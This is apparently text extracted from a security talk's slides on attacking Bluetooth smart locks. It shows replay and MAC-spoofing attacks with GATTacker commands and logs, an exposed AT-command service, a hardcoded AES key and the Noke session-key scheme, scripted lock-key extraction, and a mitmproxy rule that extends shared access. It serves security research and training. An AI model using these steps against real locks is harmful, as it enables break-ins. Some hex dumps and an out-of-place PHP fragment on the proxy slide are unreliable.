Ranging: GPS-enabled, you have to leave the area and return

What could possibly go wrong?
Lock - protocol

SESSION KEY = AES(Challenge, KEY)

Get "Challenge"

Challenge

Encrypted commands AES (SESSION KEY)
SESSION KEY = AES(Challenge, KEY)

Get "Challenge"

Challenge

Close lock

OK, closed

passive intercept
Attack

Same as intercepted session

Get "Challenge"

Challenge (replay the intercepted)

MITM (replay)

Close lock

OK, closed

OK, Closed!
Attack – the simple, stupid version

Oh, the lock is latched!

Advertise „latched“
Record advertisements

The lock advertises 2 states: latched/unlatched

Record both the advertisements (scan.js). Scan saves advertisements versions in:

devices/ecfe7e139f95_Lock(...).<DATE>.adv.json

Move to:
ecfe7e139f95_LockECFE7E139F95.<closed|open>.adv.json
Scan services to json

$ node scan ecfe7e139f95

(...)

Services file devices/ecfe7e139f95.srv.json saved!
Change MAC address (by hand)

```
# bdaddr -i hci0 ec:fe:7e:13:9f:95
```
Advertise „latched” state

# node advertise.js -S -a
devices/ecfe7e139f95_closed.adv.json -s
devices/ecfe7e139f95.srv.json
BTW

My colleague pentester has managed to lock the lock by pressing the button long enough ;)

SMARTLOCKPICKING.COM
How excessive security may tamper availability ;)

BUT

Previous owner (me) has to authorize the new pairing

BECAUSE

I cannot access the lock, I cannot perform new pairing

... and it took 5 days for the support to reply, another days to resolve the issue

Note: be careful with buying used ones ;}
iOS users, please hold off on upgrading to iOS 9. We are waiting for our compatible app to be approved by the App Store. Any hour/day now.
Update gone wrong...

Update gone wrong leaves 500 smart locks inoperable

Fatal error leaves customers scrambling for fixes that can take a week or longer.

DAN GOODIN - 8/15/2017, 12:07 AM

Tesla driver stranded in the desert after smartphone app failure

„Need to restart the car now, but, with no cell service, my phone can't connect to the car to unlock it.”

Had to run two miles to find signal and call a friend to bring the key fob
No more keys!
EXCESSIVE SERVICES
How do we hack BLE?

Active MITM

Directly to exposed services

central

Passive sniffing?

peripheral

HCl dump

BLE
And the lock again...

It has an interesting feature:

BLE module vendor implements serial AT commands directly exposed on a service...

Anyone can connect to it, by default it is not locked.
AT commands reference

https://github.com/ideo-digital-shop/ble-arduino/tree/master/documentation/docs

Files:

doc/BlueRadiosAT/nBlue AT.s Command Set v3.1.0.pdf
### 7.2 Reset Commands

#### 7.2.1 Reset (ATRST)

<table>
<thead>
<tr>
<th>SD</th>
<th>RESET</th>
</tr>
</thead>
</table>

**Function:** Resets the module.

**Command Format:** ATRST

**Example(s):**

1. An ATRST is sent and once the module has reset, the RESET event is triggered.

   **COMMAND:**  ATRST<cr>
   **RESPONSE:**  <cr lf>
                  BR-LE4.0-S2<cr lf>
Get temperature

<table>
<thead>
<tr>
<th>SM</th>
<th>GET TEMPERATURE</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Function:</strong></td>
<td>Get the current temperature of the module’s internal temperature sensor.</td>
</tr>
<tr>
<td><strong>Command Format:</strong></td>
<td>ATT?</td>
</tr>
<tr>
<td><strong>Response Format:</strong></td>
<td>&lt;Temp_Celsius&gt;,&lt;Temp_Fahrenheit&gt;</td>
</tr>
<tr>
<td><strong>Response Value(s):</strong></td>
<td></td>
</tr>
<tr>
<td>- <strong>Temp_Celsius:</strong> Temperature in Celsius.</td>
<td></td>
</tr>
<tr>
<td>- <strong>Temp_Fahrenheit:</strong> Temperature in Fahrenheit.</td>
<td></td>
</tr>
</tbody>
</table>

**Example(s):**

<table>
<thead>
<tr>
<th>COMMAND</th>
<th>ATT?&lt;cr&gt;</th>
</tr>
</thead>
<tbody>
<tr>
<td>RESPONSE</td>
<td>&lt;cr lf&gt;</td>
</tr>
<tr>
<td></td>
<td>OK</td>
</tr>
<tr>
<td></td>
<td>&lt;cr lf&gt;</td>
</tr>
<tr>
<td></td>
<td>026,079&lt;cr lf&gt;</td>
</tr>
</tbody>
</table>
7.8.2 UART Configuration (ATSUART)

**SET UART**

**Function:** Configures the module’s UART. This command requires a reset for the new settings to take effect.

**Command Format:** ATSUART,<Baud_Rate>,<Parity>,<Stop_Bits>,<Flow_Control>

**Command Parameter(s):**
- **Baud_Rate:** 3-10 [9600bps – 1000000bps], enter Value from table below.
  *(230400, 460800 and 1000000 are only available on Dual Mode modules.)*

<table>
<thead>
<tr>
<th>Baud rate</th>
<th>Value</th>
<th>Error (%)</th>
</tr>
</thead>
<tbody>
<tr>
<td>9600</td>
<td>3</td>
<td>0.14</td>
</tr>
<tr>
<td>19200</td>
<td>4</td>
<td>0.14</td>
</tr>
<tr>
<td>38400</td>
<td>5</td>
<td>0.14</td>
</tr>
<tr>
<td>57600</td>
<td>6</td>
<td>0.03</td>
</tr>
<tr>
<td>115200</td>
<td>7</td>
<td>0.03</td>
</tr>
<tr>
<td>230400</td>
<td>8</td>
<td>0.03</td>
</tr>
<tr>
<td>460800</td>
<td>9</td>
<td>0.03</td>
</tr>
<tr>
<td>1000000</td>
<td>10</td>
<td>0.03</td>
</tr>
</tbody>
</table>
Can you fry it? (please don’t try ;)

7.8.3 PIO Configuration (ATSPIO)

**SD**

**SET PIO**

*Warning:* Applying an external voltage to a PIO assigned as an output may permanently damage the module. The maximum voltage level on any pin should not exceed 3.6V. The I/O is NOT 5V tolerant.

*Function:* Sets the direction and values of PIO's.

*Command Format:* ATSPIO,<PIO_Num>,<Direction>,<Value>

*Command Parameter(s):*

- **PIO_Num:**
  - Single Mode: 0,1,2,5,7,8,9,10,11,12,13,14
  - Dual Mode: 0,1,2,5,7,8,9,10,11,12,13,14,19,20,21,22
The helper script

scan.js automatically detects BlueRadios chipsets based on MAC address

```
root@kali:~/node_modules/gattacker# node scan.js
Ws-slave address: 127.0.0.1
on open
poweredOn
Start scanning.
already saved advertisement for b827eb08880e (undefined)
refreshed advertisement for ecf7e139f95 (LockECFE7E139F95)
BlueRadios MAC address - check AT commands service by blueRadiosCmd script!
    Name: LockECFE7E139F95
    EIR: 02010615ffce010101ae00640a0000000000000001070000 (     d     )
Scan response: 11094c6f636b454346453745313339463935 ( LockECFE7E139F95)
```
The helper script

```
root@kali:~/node_modules/gattacker# node standalone/blueRadiosCmd.js ecf7e139f95
```

MAC address of target
root@kali:/node_modules/gattacker# node standalone/blueRadiosCmd.js ecfe7e139f95

WARNING: env2 was required to load an .env file: /root/node_modules/config.env NOT FOUND! Please see: http://git.io/vG3UZ

Ws-slave address: 127.0.0.1
start
on open
poweredOn
explore state: ecfe7e139f95 : start
explore state: ecfe7e139f95 : finished
BlueRadios service UUID found!
Initialized!
ATSCL? - check if the service is locked: 0 = unlocked
subscribe to RX notification
Switch to CMD mode
sent CMD: ATSCL?
OK
0
ATT?
Switch to CMD mode
sent CMD: ATT?
OK
024,075

Script automatically checks if service unlocked (ATSCL?)

Service unlocked, you can write any AT command now
Servers shut down recently ;)}
What would you do?

Same lock, different label. This server works!
Intercept traffic in web proxy

GET /index.php?user=foo&lang=en&url=http://www.example.com HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 258

$a = smart_cookies_get_value('sessionid');
$sessionid = $a;
$username = 'foo';
$password = 'bar';
$IP = '123.45.67.89';
$password = hash('sha256', $password);
Emulate the server!

I have created my own server 😊

https://smartlockpicking.com/tutorial/my-smart-lock-vendor-disappeared/

https://github.com/smartlockpicking/okidokeys-api/
TBD: proprietary key generation algorithm

This can’t be anything complex, I suspect AES + XOR.

Example keys on Github:

https://github.com/smartlockpicking/okidokeys-api/
We have the server back, let’s hack the lock!

root@kali:~/node_modules/gattacker# node scan.js
Ws-slave address: 10.5.5.129
on open
poweredOn
Start scanning.
peripheral discovered (d03972c3a81e with address <d0:39:72:c3:a8:1e, public>, connectable true, RSSI -61:

    Name: D03972C3A81E!
    EIR: 0201060302f0ff16084430333393732433413831452100000000000000000 (D03972C3A81E!)
    Scan response: 13094430333937324334138314521000000000005122800800c020a00000 (D03972C3A81E!)

advertisement saved: devices/d03972c3a81e_D03972C3A81E-adv.json
Scan the services

root@kali:~/.node_modules/gattacker# node scan.js d03972c3a81e
Ws-slave address: 10.5.5.129
on open
poweredOn
Start exploring d03972c3a81e
Start to explore d03972c3a81e
explore state: d03972c3a81e : start
explore state: d03972c3a81e : finished
Services file devices/d03972c3a81e.srv.json saved!
Set up MITM

# ./mac_adv -a
devices/d03972c3a81e_D03972C3A81E-.adv.json
Advertise with cloned MAC address
Manufacturer: Cambridge Silicon Radio (10)
Device address: 00:1A:7D:DA:71:11
New BD address: D0:39:72:C3:AB:1E

Address changed - Reset device now
Re-plug the interface and hit enter

Current MAC: D0:39:72:C3:AB:1E
W-s-lslave address: 10.9.8.181
peripheralId: d03972c3a81e
advertisement file: devices/d03972c3a81e_D03972C3AB1E...adv.json
EIR: 02010603070ff1684430333973724333413814512800000000000000
scanResponse: 13994436333973724333413831451280000000000012280000c020a00000
BLENO - on -> stateChange: poweredOn
on open
poweredOn
Noble MAC address: b8:27:eb:4c:88:3d
initialized!
Static - start advertising
on -> advertisingStart: success
setServices: success

INITIALIZED

Client connected: 68:ab:87:4d:e0:54

>> Subscribe: fff0 -> fff2
>> Subscribe: fff0 -> fff3

>> Write: fff0 -> fff1: 93483c6bf09e2ed691e5987b72293c0a75894 (H< x X )
\nD03972c3a81e: fff0 confirmed subscription state: fff2
D03972c3a81e: fff0 confirmed subscription state: fff2

<< Notify: fff0 -> fff3: 36251483060611f81068006232663e800000203
<< Notify: fff0 -> fff2: e10480000000000000000000000000000
<< Notify: fff0 -> fff2: e10480000000000000000000000000000

>> Write: fff0 -> fff1: 425989 (BY)
<< Notify: fff0 -> fff2: e10180000000000000000000000000000
<< Notify: fff0 -> fff2: c41480000000000000000000000000000

>> Write: fff0 -> fff1: e101
<< Notify: fff0 -> fff3: 36251483060611f81068006232663e800000203
<< Notify: fff0 -> fff3: 3625149a00000000000000000000000000000000

Client disconnected: 68:ab:87:4d:e0:54
Client connected: 68:ab:87:4d:e0:54

Subscribe: fff0 -> fff2
Subscribe: fff0 -> fff3
Write: fff0 -> fff1: 93483c6f009e2ed0916e59b78d72293c0a75894
Notify: fff0 -> fff3: 30251483000011f810680002032003e800000203
Notify: fff0 -> fff2: e10400000000000000000000000000000
Write: fff0 -> fff1: 425989 (BY )
Notify: fff0 -> fff2: e10100000000000000000000000000000
Notify: fff0 -> fff2: c41400000200000000000000000000000
Write: fff0 -> fff1: e101 ( )
Notify: fff0 -> fff3: 30251483000011f810680002032003e800000203 (0%)
Notify: fff0 -> fff3: 3026149a000011f810680002032003e800000203 (0&
encrypt - what?

- Luckily, when it comes to send keys, everything is encrypted.
- Application data is 20-byte long (with 1-byte operation code).

```
48 B9 38 57 69 BE 31 12 61 61 6E 40 AD AF 37 7B 3E F6 1E 55 C3
```

- Uh, wait, what cipher is that to produce 20 bytes of encrypted data?
Authentication

93483cfbf009e2ed0916e59b78d72293c0a75894
425989

Received from server API as single-use key

93483cfbf009e2ed0916e59b78d72293c0a75894
425989
Authentication – trying to guess packet structure

93  48  3cfbf009  e2ed0916e59b78d72293c0a75894
42  5989

Headers:
93: first packet
42: final

Opcode, key type
(lock/unlock), ... ???
This might be interesting...

AES(?) key?
(16 bytes)

https://en.wikipedia.org/wiki/42_(number)#The_Hitchhiker.27s_Guide_to_the_Galaxy
Damien Cauquil again

**LET’S FUZZ A BIT ...**

- No idea of what the data is
- Starting to fuzz one byte at a time from a valid key ...
- ... and the lock eventually opened!
The same: Anthony Rose one year later

* Change 3rd byte to 0x00

```
9348b6cad7299ec1481791303d7c90d549352398
```
Opcde? "Unique" key

Valid Command

```
• Opcode: Write Request (0x12)
• Handle: 0x0025 (Unknown)
  Value: 9348b6cad7299ec1481791303d7c90d549352398
```

Modified Command

```
• Opcode: Write Request (0x12)
• Handle: 0x0025
  Value: 934800cad7299ec1481791303d7c90d549352398
```

### GATTacker dump

<p>| | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>&lt; C</td>
<td>fff0</td>
<td>fff1</td>
<td>93485b3252e01d407aede4c52039e8da54421aa</td>
<td>( H[2R @z LR D! )</td>
</tr>
<tr>
<td>&gt; N</td>
<td>fff0</td>
<td>fff3</td>
<td>3029165e000011f810680002032003e800000203</td>
<td>(0) ^ h</td>
</tr>
<tr>
<td>&gt; N</td>
<td>fff0</td>
<td>fff2</td>
<td>e104000000000000000000000000000000000000</td>
<td>( )</td>
</tr>
<tr>
<td>&lt; C</td>
<td>fff0</td>
<td>fff1</td>
<td>e101</td>
<td>421c69 (B i)</td>
</tr>
<tr>
<td>&gt; N</td>
<td>fff0</td>
<td>fff2</td>
<td>e101000000000000000000000000000000000000</td>
<td>( )</td>
</tr>
<tr>
<td>&gt; N</td>
<td>fff0</td>
<td>fff2</td>
<td>c414000002000000000000000000000000000000</td>
<td>( )</td>
</tr>
<tr>
<td>&lt; C</td>
<td>fff0</td>
<td>fff1</td>
<td>e101</td>
<td>( )</td>
</tr>
<tr>
<td>&gt; N</td>
<td>fff0</td>
<td>fff3</td>
<td>3029165e000011f810680002032003e800000203</td>
<td>(0) ^ h</td>
</tr>
<tr>
<td>&gt; N</td>
<td>fff0</td>
<td>fff3</td>
<td>302a1669000011f810680002032003e800000203</td>
<td>(0* i h )</td>
</tr>
</tbody>
</table>
GATTacker dump - replay

replay.log:
< C | fff0 | fff1 | 9348003252e01d407aaede4c52039e8da54421aa ( H[2R @z LR D! )
< C | fff0 | fff1 | 421c69 (B i)

Replay:

# node replay -i dump/replay.log -p d03972c3a81e -s devices/d03972c3a81e.srv.json
(...)
initialized!
WRITE CMD: 9348003252e01d407aaede4c52039e8da54421aa
WRITE CMD: 421c69
You need to reset it to factory

Lock opens and goes into maintenance, original owner has „your keys are outdated”

Resetting is a very painful process.

And you can do it only from the inside of the door.
More vulns of this lock:

- Unauthenticated log access
- Denial of Service
- ...

Damien Cauqil / @virtualabs

https://cybergibbons.com/lock/
Lock #7

https://www.flickr.com/photos/morbius19/9768119233
Noke

No Key
No Problem

A smart lock to eliminate the hassle of keys and combinations forever. Compatible with iOS, Android, and Windows Phone.
Gattacker – scan, intercept..

./mac_adv -a devices/f1a3120d25fd
Dump the packets opening lock

```plaintext
>> Subscribe: 1bc500010200d29ee511446c609db825 -> 1bc500030200d29ee511446c609db825
f1a3120d25fd:1bc500010200d29ee511446c609db825 confirmed subscription state: 1bc500030200d29ee511446c609db825

>> Write: 1bc500010200d29ee511446c609db825 -> 1bc500020200d29ee511446c609db825 : b01cbda0bca6dfbedceff338e1635472b [ D 3 5G+ ]
<< Notify: 1bc500010200d29ee511446c609db825 -> 1bc500030200d29ee511446c609db825 : 85d244e824345b03992e654e4e9f4dfdb30 [ D $4( e N M ) ]
<< Notify: 1bc500010200d29ee511446c609db825 -> 1bc500030200d29ee511446c609db825 : 2ff935bde7e72136566c9ca5f91765 [ e 5 r e ]
<< Notify: 1bc500010200d29ee511446c609db825 -> 1bc500030200d29ee511446c609db825 : 48090c48dc44f9cd533f3e7f919af7f30 [ @ H U1: e ]
<< Notify: 1bc500010200d29ee511446c609db825 -> 1bc500020200d29ee511446c609db825 : b01cbda0bca6dfbedceff338e1635472b [ D 3 5G+ ]
<< Notify: 1bc500010200d29ee511446c609db825 -> 1bc500020200d29ee511446c609db825 : 08bc47f6c7225230964a92141b1ef30 [ 3 % ]
<< Notify: 1bc500010200d29ee511446c609db825 -> 1bc500020200d29ee511446c609db825 : adcb10b0ca37181c1cf99ac445036dc3b [ q DP6 ]
<< Notify: 1bc500010200d29ee511446c609db825 -> 1bc500020200d29ee511446c609db825 : 2ca1e6a3ee855c6f9dd4448880df8ad430 [ j > U i DH ]

target device disconnected

>> Subscribe: 1bc500010200d29ee511446c609db825 -> 1bc500030200d29ee511446c609db825
f1a3120d25fd:1bc500010200d29ee511446c609db825 confirmed subscription state: 1bc500030200d29ee511446c609db825

>> Write: 1bc500010200d29ee511446c609db825 -> 1bc500020200d29ee511446c609db825 : b01cbda0bca6dfbedceff338e1635472b [ D 3 5G+ ]
<< Notify: 1bc500010200d29ee511446c609db825 -> 1bc500030200d29ee511446c609db825 : 9a2b9224ad278f4f8c45ec3c3d8fc3403 [ -h$M ^ _ (4] ]
<< Write: 1bc500010200d29ee511446c609db825 -> 1bc500020200d29ee511446c609db825 : 2d675bc9c6155c03d7648390f84f3b [ g\^ A \7 9g ]
<< Notify: 1bc500010200d29ee511446c609db825 -> 1bc500030200d29ee511446c609db825 : 81dfda9e47334c3873e994c6600956980 [ >4 7 \V ]
<< Write: 1bc500010200d29ee511446c609db825 -> 1bc500020200d29ee511446c609db825 : b01cbda0bca6dfbedceff338e1635472b [ D 3 5G+ ]
<< Notify: 1bc500010200d29ee511446c609db825 -> 1bc500020200d29ee511446c609db825 : 1bed5dc12c99f4d55c4510686 [ ( h )]
<< Write: 1bc500010200d29ee511446c609db825 -> 1bc500020200d29ee511446c609db825 : 22e69f8496b3d16044e15789f4 [ "k N i" ]
<< Notify: 1bc500010200d29ee511446c609db825 -> 1bc500020200d29ee511446c609db825 : 48acfb3c09a6bca3f30f38475825c406 [ H < W 70 ]
```
AES shared key encoded in app

Ray
Lockpicking in the IoT

https://media.ccc.de/v/33c3-8019-lockpicking_in_the_iot

```plaintext
grep -r aes
... 
com/fuzdesigns/noke/services/
NokeBackgroundService.java:
byte[] aeskey = new byte[]{{byte) 0, (byte) 1, (byte) 2, (byte) 3, (byte) 4, (byte) 5, (byte) 6, (byte) 7, (byte) 8, (byte) 9, (byte) 10, (byte) 11, (byte) 12, (byte) 13, (byte) 14, (byte) 15};
```
NOKE AES

AES128(
    12a0a29f3ac7d1194d834549114eeb97,
    000102030405060708090a0b0c0d0e0f
) =

7e0801424242428fcb445feef457d637

Works for first two messages, but then again pure random. Would have been TOO easy.
insecure AES for 500

- App sends random number to Lock
- Lock sends random number to app
- A Session key is calculated by adding XOR of those two numbers to the middle of the original key (000102...)
- This Session key is used for the following packets
So here's the O-DAY

from app: 42424242
XOR
from lock: bff91ae4 =
fdbb58a6

+ (%256)
000102030405060708090a0b0c0d0e0f =
000102030402c15fae090a0b0c0d0e0f
The commands AES-decrypted

7e080100000000087cd2200000000000000
7e080265911ce07acd2200000000000000
7e04088a911ce07acd2200000000000000
7e060900ca57e07acd2200000000000000
7e0a06d4f3506848cd2200000000000000
7e040789f3506848cd2200000000000000
The commands AES-decrypted

7e0801000000000000cd2200000000000000
7e080265911ce07acd2200000000000000
7e04088a911ce07acd2200000000000000
7e060900ca57e07acd2200000000000000
7e0a06d4f3506848cd2200000000000000
7e040789f3506848cd2200000000000000
Command codes

```java
int setupState = 0;
public byte[] stateAeskey = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 };
public String tempFobMac;
int timeout = 0;
private lockItem tmpLock;

static
{
    REKEY = 4;
    UNLOCK = 6;
    GETBATTERY = 8;
    SETQUICKCODE = 10;
    RESETLOCK = 12;
    FIRMWAREUPDATE = 14;
    ENABLEFAIRFOB = 16;
    FAIRFOB = 18;
    GETLOGS = 20;
    REMOVEFOB = 23;
    GETONETIMEQ = 25;
    TESTMODE = 28;
    FOBUNLOCK = 30;
    ENABLEFOBS = 32;
    ENABLEONETIMEQ = 34;
    ENABLEQUICKCLICK = 36;
    REMOVEFOBCODE = 38;
    SETFOBCODE = 40;
    GETLOCKSFROMFOB = 42;
    GETFOBCODES = 45;
    REMOVELOCKFROMF = 48;
    ...}
```
Command codes

7e0801000000000087cd2200000000000000
7e080265911ce07acd2200000000000000
7e0408a911ce07acd2200000000000000
7e060900ca57e07acd2200000000000000
7e0a06d4f3506848cd2200000000000000
7e040789f3506848cd2200000000000000
Unlock code (06)

7e0a06d4f3506848cd2200000000000000

Lock key
decodenoke python script

https://github.com/Endres/decodenoke

takes raw hex transmitted data, decodes AES, then interprets command IDs and shows key
Gattacker dump -> input to script

#!/bin/bash

cat f1a3120d25fd.log | cut -d"|" -f 5 | cut -d" " -f 2 > f1a3120d25fd.txt
Run decodenoke

```python
# python decodenoke.py f1a3120d25fd.txt
(...)
== packet 7 ==
b'7e0a06d4f3506848cd22000000000000'
type: UNLOCK (6)
data: b'd4f3506848cd'
description: data contains lock key

== packet 8 ==
b'7e040789f3506848cd22000000000000'
type: UNLOCKREPLY (7)
data: b''
description: no data expected
```
Another vulnerability – access sharing

Noke Sharedlocks

"sharedlocks": [
  {
    "allday": "1",
    "autounlock": "0",
    "daysoftheweek": "0000000",
    "startday": "2016-03-22",
    "starttime": "09:00:00",
    "timezone": "Europe/Berlin",
    "endday": "2016-03-23",
    "endtime": "17:00:00",
    "lockid": "52280",
    "lockkey": "DFA314C91FE2",
    "lockname": "friends lock",
    "mac": "ED:ED:06:A2:C3:1E",
    "online": "1"
  }
]
<table>
<thead>
<tr>
<th>Basics</th>
<th>Hardware</th>
<th>Electronics</th>
<th>Backend Communication</th>
<th>BLE</th>
<th>IoT</th>
<th>App</th>
<th>Hardware</th>
<th>The End</th>
</tr>
</thead>
</table>

## Manipulating Data MitM

Use mitmproxy to manipulate data from the cloud

```shell
mitmproxy --replace :~s:2016-03-23:2066-03-23
```
Online check!

```json
{
  "cmd": "canunlocklock",
  "lockid": "52280",
  "token": "5iF1D5356Z4Pnlkp76lWluRxH8uP5rQb"
}

{
  "lockkey": "DFA314C91FE2",
  "request": "canunlocklock",
  "result": "success"
}
```
This hack is brought to you by:

Ray & co.

https://streaming.media.ccc.de/33c3/relive/8019
Let’s hope „2nd Gen” is more secure...

https://www.sohopelesslybroken.com/contests.php#0day
HACKMELOCK
Hackmelock again
Open-source

https://smartlockpicking.com/hackmelock

Sources:

https://github.com/smartlockpicking/hackmelock-device/

https://github.com/smartlockpicking/hackmelock-android/
Install

Emulated device:

$ npm install hackmelock

Android app:

Run emulator

$ node peripheral

advertising...
In configuration mode, it advertises iBeacon

Major/Minor=1
Pairing

Found hackmelock MAC:
D0:39:72:B7:AD:88

Device address: D0:39:72:B7:AD:88
Connected Pairing - Major:21276 Minor:58263

Connected authenticated
After pairing emulator stores config.txt

$ node peripheral.js
advertising...
Client 4a:00:e9:88:16:63 connected!
Status read request:
  Initialization mode!
initializing... 0 531ce397
initializing... 1 325d18fe1481151073dc4d4a
initializing... 2 7ca71db0196bda712131dc57
(...) 
Config loaded - iBeaconMajor: 21276 iBeaconMinor: 58263
Main functions: lock, unlock, sync data
Sharing access

Share access to lock

- Guest
- Administrative

Set date to

01 Mar 2016

02 Apr 2017

03 May 2018

Cancel  OK

Access valid to: 2017-04-02

Generate QR
Hackmelock challenges

- Cleartext key transmission during certain operations
- Backdoor
- PRNG problem
- Logic flaw with keys
- Command injection
- ... and more!
More information

https://smartlockpicking.com/hackmelock

Soon more tips and descriptions
Some details, whitepaper, videos...

GATTack.io
OUTSMART THE THINGS
Want to learn more?

https://smartlockpicking.com

Events: trainings, workshops, ...
Soon: more articles, tutorials, ...
Want to learn more?

14/15.11.2017 – Deepsec, Vienna

Smart Lockpicking - Hands-on Exploiting Contemporary Locks and Access Control Systems (2 day training)

More fun with: NFC (cloning cards, hacking hotel systems), proprietary protocols, biometric readers, gsm alarms, home automation systems, linux embedded devices, ...

On-demand, dedicated training/workshop? info@smartlockpicking.com

https://deepsec.net/register.html
Feedback?

Would love to hear some feedback from you!

slawomir.jasek@smartlockpicking.com

Twitter: @slawekja